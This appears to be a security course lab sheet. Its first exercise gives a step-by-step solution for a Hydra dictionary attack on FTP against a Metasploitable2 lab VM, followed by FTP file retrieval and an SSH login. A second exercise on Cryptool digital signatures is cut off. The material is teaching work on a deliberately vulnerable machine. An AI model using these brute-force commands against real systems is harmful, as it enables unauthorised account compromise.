7.	A	ABC Corp, a medium-sized company, is concerned about the security of its network and wants to ensure that its employees are using strong passwords. The IT security team has been tasked with conducting a password strength assessment to identify weak passwords that may pose a security risk. The IT security team decides to use a password cracking tool, to perform the password strength assessment. The plan to target the company's internal systems, including FTP, SSH. By using Hydra password cracking tool perform a password strength assessment, so that ABC Corp's IT security team was able to identify and address weaknesses in their network's authentication mechanisms. **Solution:-** # Go to Kali linux terminal, Type locate unix_passwords.txt vi /opt/metasploit-framework/embedded/framework/data/wordlists/unix_passwords.txt Then add msfadmin and save the file. # Hydra tool is used for password cracking. Type the below command in kali linux terminal for cracking the password (Dictionary attack), specify the path of unix_password.txt and IP address of metaspoiltable2 vm. hydra -l msfadmin -P /opt/metasploit-framework/embedded/framework/data/wordlists/unix_passwords.txt ftp://192.168.62.129 Now it will match the passwords from the dictionary, once the exact match is found. it will display password matched. Now get FTP connection to target machine (Metaspoiltable 2) by using below command ftp 192.168.62.129 #Once you get ftp> prompt, it clearly indicates, you got into your target machine. #Navigate yourself to different path by using below commands ftp>ls ftp> cd vulnerable ftp> cd twiki20030201 # to transfer the file from your target machine to your system. ftp>get TWiki20030201.tar.gz ssh -o HostKeyAlgorithms=+ssh-rsa,ssh-dss msfadmin@192.168.62.129 msfadmin@metasploitable:~$
	B	Imagine a legal firm handling contracts for clients remotely. Let's say a client, Mr. John, needs to sign a contract for a property purchase. how could Cryptool be applied to digitally sign a contract document, authenticate its validity, and ensure the secure storage of both the digital signature and the original document? Demonstrate the use of digital signatures using cryptool by performing following things: a) Creation of sig b) Storing the sig c) Verifying the s **Lab 7**